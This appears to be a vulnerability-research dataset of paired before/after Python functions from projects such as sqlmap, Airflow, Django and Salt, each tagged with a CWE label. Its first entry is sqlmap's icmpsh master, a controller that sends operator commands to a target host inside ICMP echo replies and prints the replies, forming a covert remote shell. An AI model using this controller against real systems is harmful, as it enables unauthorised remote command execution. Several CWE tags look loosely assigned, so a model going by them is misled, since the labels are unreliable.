    # A special option is set on the socket so that IP headers are included
    # with the returned data
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
        sys.exit(1)

    sock.setblocking(0)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Create a new IP packet and set its source and destination addresses
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO REPLY
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # Instantiate an IP packets decoder
    decoder = ImpactDecoder.IPDecoder()

    while True:
        try:
            cmd = ''

            # Wait for incoming replies
            if sock in select.select([sock], [], [])[0]:
                buff = sock.recv(4096)

                if 0 == len(buff):
                    # Socket remotely closed
                    sock.close()
                    sys.exit(0)

                # Packet received; decode and display it
                ippacket = decoder.decode(buff)
                icmppacket = ippacket.child()

                # If the packet matches, report it to the user
                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                    # Get identifier and sequence number
                    ident = icmppacket.get_icmp_id()
                    seq_id = icmppacket.get_icmp_seq()
                    data = icmppacket.get_data_as_string()

                    if len(data) > 0:
                        sys.stdout.write(data)

                    # Parse command from standard input
                    try:
                        cmd = sys.stdin.readline()
                    except:
                        pass

                    if cmd == 'exit\n':
                        return

                    # Set sequence number and identifier
                    icmp.set_icmp_id(ident)
                    icmp.set_icmp_seq(seq_id)

                    # Include the command as data inside the ICMP packet
                    icmp.contains(ImpactPacket.Data(cmd))

                    # Calculate its checksum
                    icmp.set_icmp_cksum(0)
                    icmp.auto_checksum = 1

                    # Have the IP packet contain the ICMP packet (along with its payload)
                    ip.contains(icmp)

                    try:
                        # Send it to the target host
                        sock.sendto(ip.get_packet(), (dst, 0))
                    except socket.error as ex:
                        sys.stderr.write(""'%s'\n"" % ex)
                        sys.stderr.flush()
        except:
            break",CWE-703,sqlmapproject/sqlmap,1fa81fedf310c2152d151b068bc12a0821f38fa1,"def main(src, dst):
    if sys.platform == ""nt"":
        sys.stderr.write('icmpsh master can only run on Posix systems\n')
        sys.exit(255)

    try:
        from impacket import ImpactDecoder
        from impacket import ImpactPacket
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library first\n')
        sys.exit(255)

    # Make standard input a non-blocking file
    stdin_fd = sys.stdin.fileno()
    setNonBlocking(stdin_fd)

    # Open one socket for ICMP protocol
    # A special option is set on the socket so that IP headers are included
    # with the returned data
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
        sys.exit(1)

    sock.setblocking(0)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Create a new IP packet and set its source and destination addresses
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO REPLY
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # Instantiate an IP packets decoder
    decoder = ImpactDecoder.IPDecoder()

    while True:
        cmd = ''

        # Wait for incoming replies
        if sock in select.select([sock], [], [])[0]:
            buff = sock.recv(4096)

            if 0 == len(buff):
                # Socket remotely closed
                sock.close()
                sys.exit(0)

            # Packet received; decode and display it
            ippacket = decoder.decode(buff)
            icmppacket = ippacket.child()

            # If the packet matches, report it to the user
            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                # Get identifier and sequence number
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()

                if len(data) > 0:
                    sys.stdout.write(data)

                # Parse command from standard input
                try:
                    cmd = sys.stdin.readline()
                except:
                    pass

                if cmd == 'exit\n':
                    return

                # Set sequence number and identifier
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)

                # Include the command as data inside the ICMP packet
                icmp.contains(ImpactPacket.Data(cmd))

                # Calculate its checksum
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1

                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

                try:
                    # Send it to the target host
                    sock.sendto(ip.get_packet(), (dst, 0))
                except socket.error as ex:
                    sys.stderr.write(""'%s'\n"" % ex)
                    sys.stderr.flush()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/xmldump.py,0,"def query(self, query, queryRes):
        '''
        Adds details of an executed query to the xml.
        The query details are the query itself and its results.
        '''
        queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
        queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
        queryElem.appendChild(self._createTextNode(queryRes))
        queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
        if (not(queriesElem)):
            queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
            self._addToRoot(queriesElem)
        queriesElem.appendChild(queryElem)",,sqlmapproject/sqlmap,473a39b8204a67e93663b2f15954f7076a411088,"def query(self, query, queryRes):
        '''
        Adds details of an executed query to the xml.
        The query details are the query itself and it's results.
        '''
        queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
        queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
        queryElem.appendChild(self._createTextNode(queryRes))
        queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
        if (not(queriesElem)):
            queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
            self._addToRoot(queriesElem)
        queriesElem.appendChild(queryElem)"
,UNKNOWN,UNKNOWN,providers/tests/standard/operators/test_python.py,1,"def test_provide_context_does_not_fail(self):
        """"""Ensures that provide_context doesn't break dags in 2.0.""""""

        def func(custom, dag):
            assert custom == 1, ""custom should be 1""
            assert dag is not None, ""dag should be set""

        error_message = ""Invalid arguments were passed to PythonOperator \\(task_id: task_test-provide-context-does-not-fail\\). Invalid arguments were:\n\\*\\*kwargs: {'provide_context': True}""

        with pytest.raises((TypeError, AirflowException), match=error_message):
            self.run_as_task(func, op_kwargs={""custom"": 1}, provide_context=True)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_provide_context_does_not_fail(self):
        """"""Ensures that provide_context doesn't break dags in 2.0.""""""

        def func(custom, dag):
            assert 1 == custom, ""custom should be 1""
            assert dag is not None, ""dag should be set""

        error_message = ""Invalid arguments were passed to PythonOperator \\(task_id: task_test-provide-context-does-not-fail\\). Invalid arguments were:\n\\*\\*kwargs: {'provide_context': True}""

        with pytest.raises((TypeError, AirflowException), match=error_message):
            self.run_as_task(func, op_kwargs={""custom"": 1}, provide_context=True)"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/definitions/test_asset_decorators.py,1,"def test_determine_kwargs(
        self,
        mock_supervisor_comms,
        example_asset_func_with_valid_arg_as_inlet_asset,
    ):
        asset_definition = asset(schedule=None, uri=""s3://bucket/object"", group=""MLModel"", extra={""k"": ""v""})(
            example_asset_func_with_valid_arg_as_inlet_asset
        )

        mock_supervisor_comms.send.side_effect = [
            AssetResult(
                name=""example_asset_func"",
                uri=""s3://bucket/object"",
                group=""MLModel"",
                extra={""k"": ""v""},
            ),
            AssetResult(name=""inlet_asset_1"", uri=""s3://bucket/object1"", group=""asset"", extra=None),
            AssetResult(name=""inlet_asset_2"", uri=""inlet_asset_2"", group=""asset"", extra=None),
        ]

        op = _AssetMainOperator(
            task_id=""example_asset_func"",
            inlets=[Asset.ref(name=""inlet_asset_1""), Asset.ref(name=""inlet_asset_2"")],
            outlets=[asset_definition],
            python_callable=example_asset_func_with_valid_arg_as_inlet_asset,
            definition_name=""example_asset_func"",
        )
        assert op.determine_kwargs(context={""k"": ""v""}) == {
            ""self"": Asset(
                name=""example_asset_func"",
                uri=""s3://bucket/object"",
                group=""MLModel"",
                extra={""k"": ""v""},
            ),
            ""context"": {""k"": ""v""},
            ""inlet_asset_1"": Asset(name=""inlet_asset_1"", uri=""s3://bucket/object1""),
            ""inlet_asset_2"": Asset(name=""inlet_asset_2""),
        }

        assert mock_supervisor_comms.mock_calls == [
            mock.call.send(GetAssetByName(name=""example_asset_func"")),
            mock.call.send(GetAssetByName(name=""inlet_asset_1"")),
            mock.call.send(GetAssetByName(name=""inlet_asset_2"")),
        ]",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_determine_kwargs(
        self,
        mock_supervisor_comms,
        example_asset_func_with_valid_arg_as_inlet_asset,
    ):
        asset_definition = asset(schedule=None, uri=""s3://bucket/object"", group=""MLModel"", extra={""k"": ""v""})(
            example_asset_func_with_valid_arg_as_inlet_asset
        )

        mock_supervisor_comms.get_message.side_effect = [
            AssetResult(
                name=""example_asset_func"",
                uri=""s3://bucket/object"",
                group=""MLModel"",
                extra={""k"": ""v""},
            ),
            AssetResult(name=""inlet_asset_1"", uri=""s3://bucket/object1"", group=""asset"", extra=None),
            AssetResult(name=""inlet_asset_2"", uri=""inlet_asset_2"", group=""asset"", extra=None),
        ]

        op = _AssetMainOperator(
            task_id=""example_asset_func"",
            inlets=[Asset.ref(name=""inlet_asset_1""), Asset.ref(name=""inlet_asset_2"")],
            outlets=[asset_definition],
            python_callable=example_asset_func_with_valid_arg_as_inlet_asset,
            definition_name=""example_asset_func"",
        )
        assert op.determine_kwargs(context={""k"": ""v""}) == {
            ""self"": Asset(
                name=""example_asset_func"",
                uri=""s3://bucket/object"",
                group=""MLModel"",
                extra={""k"": ""v""},
            ),
            ""context"": {""k"": ""v""},
            ""inlet_asset_1"": Asset(name=""inlet_asset_1"", uri=""s3://bucket/object1""),
            ""inlet_asset_2"": Asset(name=""inlet_asset_2""),
        }

        assert mock_supervisor_comms.mock_calls == [
            mock.call.send_request(mock.ANY, GetAssetByName(name=""example_asset_func"")),
            mock.call.get_message(),
            mock.call.send_request(mock.ANY, GetAssetByName(name=""inlet_asset_1"")),
            mock.call.get_message(),
            mock.call.send_request(mock.ANY, GetAssetByName(name=""inlet_asset_2"")),
            mock.call.get_message(),
        ]"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def remove_field(self, model, field):
        """"""
        Remove a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        """"""
        # Special-case implicit M2M tables
        if field.many_to_many and field.remote_field.through._meta.auto_created:
            return self.delete_model(field.remote_field.through)
        # It might not actually have a column behind it
        if field.db_parameters(connection=self.connection)['type'] is None:
            return
        # Drop any FK constraints, MySQL requires explicit deletion
        if field.remote_field:
            fk_names = self._constraint_names(model, [field.column], foreign_key=True)
            for fk_name in fk_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Delete the column
        sql = self.sql_delete_column % {
            ""table"": self.quote_name(model._meta.db_table),
            ""column"": self.quote_name(field.column),
        }
        self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()
        # Remove all deferred statements referencing the deleted column.
        for sql in list(self.deferred_sql):
            if isinstance(sql, Statement) and sql.references_column(model._meta.db_table, field.column):
                self.deferred_sql.remove(sql)",CWE-89,django/django,c12745f6826280acb637f9c43cd2c7c2ef3d8761,"def remove_field(self, model, field):
        """"""
        Remove a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        """"""
        # Special-case implicit M2M tables
        if field.many_to_many and field.remote_field.through._meta.auto_created:
            return self.delete_model(field.remote_field.through)
        # It might not actually have a column behind it
        if field.db_parameters(connection=self.connection)['type'] is None:
            return
        # Drop any FK constraints, MySQL requires explicit deletion
        if field.remote_field:
            fk_names = self._constraint_names(model, [field.column], foreign_key=True)
            for fk_name in fk_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Delete the column
        sql = self.sql_delete_column % {
            ""table"": self.quote_name(model._meta.db_table),
            ""column"": self.quote_name(field.column),
        }
        self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()
        # Remove all deferred statements referencing the deleted table.
        for sql in list(self.deferred_sql):
            if isinstance(sql, Statement) and sql.references_column(model._meta.db_table, field.column):
                self.deferred_sql.remove(sql)"
,UNKNOWN,UNKNOWN,test/units/parsing/vault/test_vault.py,1,"def test_format_output(self):
        v = VaultLib('ansible')
        v.cipher_name = ""TEST""
        sensitive_data = b""ansible""
        data = v._format_output(sensitive_data)
        lines = data.split(b'\n')
        assert len(lines) > 1, ""failed to properly add header""
        header = to_bytes(lines[0])
        assert header.endswith(b';TEST'), ""header does end with cipher name""
        header_parts = header.split(b';')
        assert len(header_parts) == 3, ""header has the wrong number of parts""
        assert header_parts[0] == b'$ANSIBLE_VAULT', ""header does not start with $ANSIBLE_VAULT""
        assert header_parts[1] == v.b_version, ""header version is incorrect""
        assert header_parts[2] == b'TEST', ""header does end with cipher name""",CWE-703,ansible/ansible,89b0c3f6c41a50f6d2cdcefbd0f1cae0d031147c,"def test_format_output(self):
        v = VaultLib('ansible')
        v.cipher_name = ""TEST""
        sensitive_data = ""ansible""
        data = v._format_output(sensitive_data)
        lines = data.split(b'\n')
        assert len(lines) > 1, ""failed to properly add header""
        header = to_unicode(lines[0])
        assert header.endswith(';TEST'), ""header does end with cipher name""
        header_parts = header.split(';')
        assert len(header_parts) == 3, ""header has the wrong number of parts""
        assert header_parts[0] == '$ANSIBLE_VAULT', ""header does not start with $ANSIBLE_VAULT""
        assert header_parts[1] == v.b_version, ""header version is incorrect""
        assert header_parts[2] == 'TEST', ""header does end with cipher name"""
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/composer.py,0,"def compose_node(self, parent, index):
        if self.check_event(AliasEvent):
            event = self.get_event()
            anchor = event.anchor
            if anchor not in self.anchors:
                raise ComposerError(None, None, ""found undefined alias %r""
                        % anchor, event.start_mark)
            return self.anchors[anchor]
        event = self.peek_event()
        anchor = event.anchor
        if anchor is not None:
            if anchor in self.anchors:
                raise ComposerError(""found duplicate anchor %r; first occurrence""
                        % anchor, self.anchors[anchor].start_mark,
                        ""second occurrence"", event.start_mark)
        self.descend_resolver(parent, index)
        if self.check_event(ScalarEvent):
            node = self.compose_scalar_node(anchor)
        elif self.check_event(SequenceStartEvent):
            node = self.compose_sequence_node(anchor)
        elif self.check_event(MappingStartEvent):
            node = self.compose_mapping_node(anchor)
        self.ascend_resolver()
        return node",,yaml/pyyaml,d856c206fd4bfd71254e0d69e9d5e31bef5d2c0f,"def compose_node(self, parent, index):
        if self.check_event(AliasEvent):
            event = self.get_event()
            anchor = event.anchor
            if anchor not in self.anchors:
                raise ComposerError(None, None, ""found undefined alias %r""
                        % anchor, event.start_mark)
            return self.anchors[anchor]
        event = self.peek_event()
        anchor = event.anchor
        if anchor is not None:
            if anchor in self.anchors:
                raise ComposerError(""found duplicate anchor %r; first occurence""
                        % anchor, self.anchors[anchor].start_mark,
                        ""second occurence"", event.start_mark)
        self.descend_resolver(parent, index)
        if self.check_event(ScalarEvent):
            node = self.compose_scalar_node(anchor)
        elif self.check_event(SequenceStartEvent):
            node = self.compose_sequence_node(anchor)
        elif self.check_event(MappingStartEvent):
            node = self.compose_mapping_node(anchor)
        self.ascend_resolver()
        return node"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # Alias cmd.run to cmd.shell to make python_shell=True the default for
        # templated calls
        if 'salt' in kws:
            kws['salt'] = AliasedLoader(kws['salt'])

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
                template = tmplpath.replace('\\', '/')
                i = template.rfind(slspath.replace('.', '/'))
                if i != -1:
                    template = template[i:]
                tpldir = os.path.dirname(template).replace('\\', '/')
                tpldata = {
                    'tplfile': template,
                    'tpldir': '.' if tpldir == '' else tpldir,
                    'tpldot': tpldir.replace('/', '.'),
                }
                context.update(tpldata)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, six.string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.files.is_binary(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file %s: %s',
                        tmplsrc, exc,
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if six.PY2:
                output = output.encode(SLS_ENCODING)
            if salt.utils.platform.is_windows():
                newline = False
                if salt.utils.stringutils.to_unicode(output).endswith(('\n', os.linesep)):
                    newline = True
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())
                if newline:
                    output += os.linesep

        except SaltRenderError as exc:
            log.exception('Rendering exception occurred')
            #return dict(result=False, data=six.text_type(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
                if six.PY3:
                    output = output.encode(SLS_ENCODING)
                outf.write(output)
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,07701f9868e03d57ad41c9ce8e04bef7499bd360,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # Alias cmd.run to cmd.shell to make python_shell=True the default for
        # templated calls
        if 'salt' in kws:
            kws['salt'] = AliasedLoader(kws['salt'])

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
                template = tmplpath.replace('\\', '/')
                i = template.rfind(slspath.replace('.', '/'))
                if i != -1:
                    template = template[i:]
                tpldir = os.path.dirname(template).replace('\\', '/')
                tpldata = {
                    'tplfile': template,
                    'tpldir': '.' if tpldir == '' else tpldir,
                    'tpldot': tpldir.replace('/', '.'),
                }
                context.update(tpldata)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, six.string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.files.is_binary(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file %s: %s',
                        tmplsrc, exc,
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if six.PY2:
                output = output.encode(SLS_ENCODING)
            if salt.utils.platform.is_windows():
                newline = False
                if output.endswith(('\n', os.linesep)):
                    newline = True
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())
                if newline:
                    output += os.linesep

        except SaltRenderError as exc:
            log.exception('Rendering exception occurred')
            #return dict(result=False, data=six.text_type(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
                if six.PY3:
                    output = output.encode(SLS_ENCODING)
                outf.write(output)
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cli/batch.py,0,"def run(self):
        '''
        Execute the batch run
        '''
        args = [[],
                self.opts['fun'],
                self.opts['arg'],
                self.opts['timeout'],
                'list',
                ]
        bnum = self.get_bnum()
        to_run = copy.deepcopy(self.minions)
        active = []
        ret = {}
        iters = []

        if self.options:
            show_jid = self.options.show_jid
            show_verbose = self.options.verbose
        else:
            show_jid = False
            show_verbose = False

        # the minion tracker keeps track of responses and iterators
        # - it removes finished iterators from iters[]
        # - if a previously detected minion does not respond, its
        #   added with an empty answer to ret{} once the timeout is reached
        # - unresponsive minions are removed from active[] to make
        #   sure that the main while loop finishes even with unresp minions
        minion_tracker = {}

        # Iterate while we still have things to execute
        while len(ret) < len(self.minions):
            next_ = []
            if len(to_run) <= bnum and not active:
                # last bit of them, add them all to next iterator
                while to_run:
                    next_.append(to_run.pop())
            else:
                for i in range(bnum - len(active)):
                    if to_run:
                        minion_id = to_run.pop()
                        if isinstance(minion_id, dict):
                            next_.append(minion_id.keys()[0])
                        else:
                            next_.append(minion_id)

            active += next_
            args[0] = next_

            if next_:
                if not self.quiet:
                    print_cli('\nExecuting run on {0}\n'.format(next_))
                # create a new iterator for this batch of minions
                new_iter = self.local.cmd_iter_no_block(
                                *args,
                                raw=self.opts.get('raw', False),
                                ret=self.opts.get('return', ''),
                                show_jid=show_jid,
                                verbose=show_verbose,
                                **self.eauth)
                # add it to our iterators and to the minion_tracker
                iters.append(new_iter)
                minion_tracker[new_iter] = {}
                # every iterator added is 'active' and has its set of minions
                minion_tracker[new_iter]['minions'] = next_
                minion_tracker[new_iter]['active'] = True

            else:
                time.sleep(0.02)
            parts = {}

            # see if we found more minions
            for ping_ret in self.ping_gen:
                if ping_ret is None:
                    break
                m = next(ping_ret.iterkeys())
                if m not in self.minions:
                    self.minions.append(m)
                    to_run.append(m)

            for queue in iters:
                try:
                    # Gather returns until we get to the bottom
                    ncnt = 0
                    while True:
                        part = next(queue)
                        if part is None:
                            time.sleep(0.01)
                            ncnt += 1
                            if ncnt > 5:
                                break
                            continue
                        if self.opts.get('raw'):
                            parts.update({part['id']: part})
                            minion_tracker[queue]['minions'].remove(part['id'])
                        else:
                            parts.update(part)
                            for id in part.keys():
                                if id in minion_tracker[queue]['minions']:
                                    minion_tracker[queue]['minions'].remove(id)
                except StopIteration:
                    # if a iterator is done:
                    # - set it to inactive
                    # - add minions that have not responded to parts{}

                    # check if the tracker contains the iterator
                    if queue in minion_tracker:
                        minion_tracker[queue]['active'] = False

                        # add all minions that belong to this iterator and
                        # that have not responded to parts{} with an empty response
                        for minion in minion_tracker[queue]['minions']:
                            if minion not in parts:
                                parts[minion] = {}
                                parts[minion]['ret'] = {}

            for minion, data in six.iteritems(parts):
                if minion in active:
                    active.remove(minion)
                if self.opts.get('raw'):
                    yield data
                else:
                    ret[minion] = data['ret']
                    yield {minion: data['ret']}
                if not self.quiet:
                    ret[minion] = data['ret']
                    data[minion] = data.pop('ret')
                    if 'out' in data:
                        out = data.pop('out')
                    else:
                        out = None
                    salt.output.display_output(
                            data,
                            out,
                            self.opts)

            # remove inactive iterators from the iters list
            for queue in minion_tracker:
                # only remove inactive queues
                if not minion_tracker[queue]['active'] and queue in iters:
                    iters.remove(queue)
                    # also remove the iterator's minions from the active list
                    for minion in minion_tracker[queue]['minions']:
                        if minion in active:
                            active.remove(minion)",,saltstack/salt,9ca5b02b0c37fe1a3b890173bf730f35480f75ae,"def run(self):
        '''
        Execute the batch run
        '''
        args = [[],
                self.opts['fun'],
                self.opts['arg'],
                self.opts['timeout'],
                'list',
                ]
        bnum = self.get_bnum()
        to_run = copy.deepcopy(self.minions)
        active = []
        ret = {}
        iters = []

        if self.options:
            show_jid = self.options.show_jid
        else:
            show_jid = False

        # the minion tracker keeps track of responses and iterators
        # - it removes finished iterators from iters[]
        # - if a previously detected minion does not respond, its
        #   added with an empty answer to ret{} once the timeout is reached
        # - unresponsive minions are removed from active[] to make
        #   sure that the main while loop finishes even with unresp minions
        minion_tracker = {}

        # Iterate while we still have things to execute
        while len(ret) < len(self.minions):
            next_ = []
            if len(to_run) <= bnum and not active:
                # last bit of them, add them all to next iterator
                while to_run:
                    next_.append(to_run.pop())
            else:
                for i in range(bnum - len(active)):
                    if to_run:
                        minion_id = to_run.pop()
                        if isinstance(minion_id, dict):
                            next_.append(minion_id.keys()[0])
                        else:
                            next_.append(minion_id)

            active += next_
            args[0] = next_

            if next_:
                if not self.quiet:
                    print_cli('\nExecuting run on {0}\n'.format(next_))
                # create a new iterator for this batch of minions
                new_iter = self.local.cmd_iter_no_block(
                                *args,
                                raw=self.opts.get('raw', False),
                                ret=self.opts.get('return', ''),
                                show_jid=show_jid,
                                **self.eauth)
                # add it to our iterators and to the minion_tracker
                iters.append(new_iter)
                minion_tracker[new_iter] = {}
                # every iterator added is 'active' and has its set of minions
                minion_tracker[new_iter]['minions'] = next_
                minion_tracker[new_iter]['active'] = True

            else:
                time.sleep(0.02)
            parts = {}

            # see if we found more minions
            for ping_ret in self.ping_gen:
                if ping_ret is None:
                    break
                m = next(ping_ret.iterkeys())
                if m not in self.minions:
                    self.minions.append(m)
                    to_run.append(m)

            for queue in iters:
                try:
                    # Gather returns until we get to the bottom
                    ncnt = 0
                    while True:
                        part = next(queue)
                        if part is None:
                            time.sleep(0.01)
                            ncnt += 1
                            if ncnt > 5:
                                break
                            continue
                        if self.opts.get('raw'):
                            parts.update({part['id']: part})
                            minion_tracker[queue]['minions'].remove(part['id'])
                        else:
                            parts.update(part)
                            for id in part.keys():
                                if id in minion_tracker[queue]['minions']:
                                    minion_tracker[queue]['minions'].remove(id)
                except StopIteration:
                    # if a iterator is done:
                    # - set it to inactive
                    # - add minions that have not responded to parts{}

                    # check if the tracker contains the iterator
                    if queue in minion_tracker:
                        minion_tracker[queue]['active'] = False

                        # add all minions that belong to this iterator and
                        # that have not responded to parts{} with an empty response
                        for minion in minion_tracker[queue]['minions']:
                            if minion not in parts:
                                parts[minion] = {}
                                parts[minion]['ret'] = {}

            for minion, data in six.iteritems(parts):
                if minion in active:
                    active.remove(minion)
                if self.opts.get('raw'):
                    yield data
                else:
                    ret[minion] = data['ret']
                    yield {minion: data['ret']}
                if not self.quiet:
                    ret[minion] = data['ret']
                    data[minion] = data.pop('ret')
                    if 'out' in data:
                        out = data.pop('out')
                    else:
                        out = None
                    salt.output.display_output(
                            data,
                            out,
                            self.opts)

            # remove inactive iterators from the iters list
            for queue in minion_tracker:
                # only remove inactive queues
                if not minion_tracker[queue]['active'] and queue in iters:
                    iters.remove(queue)
                    # also remove the iterator's minions from the active list
                    for minion in minion_tracker[queue]['minions']:
                        if minion in active:
                            active.remove(minion)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_functional.py,0,"def tearDown(self):
        pass",UNKNOWN,PyCQA/bandit,535ee589ad619226a3c105130773b74ac1285e7a,"def tearDown(self):
        pass"
,UNKNOWN,UNKNOWN,mlflow/recipes/steps/train.py,1,"def _run(self, output_directory):
        def my_warn(*args, **kwargs):
            timestamp = datetime.datetime.now().strftime(""%Y/%m/%d %H:%M:%S"")
            stacklevel = 1 if ""stacklevel"" not in kwargs else kwargs[""stacklevel""]
            frame = sys._getframe(stacklevel)
            filename = frame.f_code.co_filename
            lineno = frame.f_lineno
            message = f""{timestamp} {filename}:{lineno}: {args[0]}\n""
            with open(os.path.join(output_directory, ""warning_logs.txt""), ""a"") as f:
                f.write(message)

        original_warn = warnings.warn
        warnings.warn = my_warn
        try:
            import numpy as np
            import pandas as pd
            import sklearn
            from sklearn.pipeline import make_pipeline
            from sklearn.utils.class_weight import compute_class_weight

            from mlflow.models import infer_signature

            with open(os.path.join(output_directory, ""warning_logs.txt""), ""w""):
                pass

            apply_recipe_tracking_config(self.tracking_config)

            transformed_training_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformed_training_data.parquet"",
            )
            train_df = pd.read_parquet(transformed_training_data_path)
            validate_classification_config(
                self.task, self.positive_class, train_df, self.target_col
            )
            self.using_rebalancing = False
            if self.extended_task == ""classification/binary"":
                classes = np.unique(train_df[self.target_col])
                class_weights = compute_class_weight(
                    class_weight=""balanced"",
                    classes=classes,
                    y=train_df[self.target_col],
                )
                self.original_class_weights = dict(zip(classes, class_weights))
                if self.rebalance_training_data and len(classes) == 2:
                    if len(train_df) > _REBALANCING_CUTOFF:
                        self.using_rebalancing = True
                        train_df = self._rebalance_classes(train_df)
                    else:
                        _logger.info(
                            f""Training data has less than {_REBALANCING_CUTOFF} rows, ""
                            f""skipping rebalancing.""
                        )

            X_train, y_train = train_df.drop(columns=[self.target_col]), train_df[self.target_col]

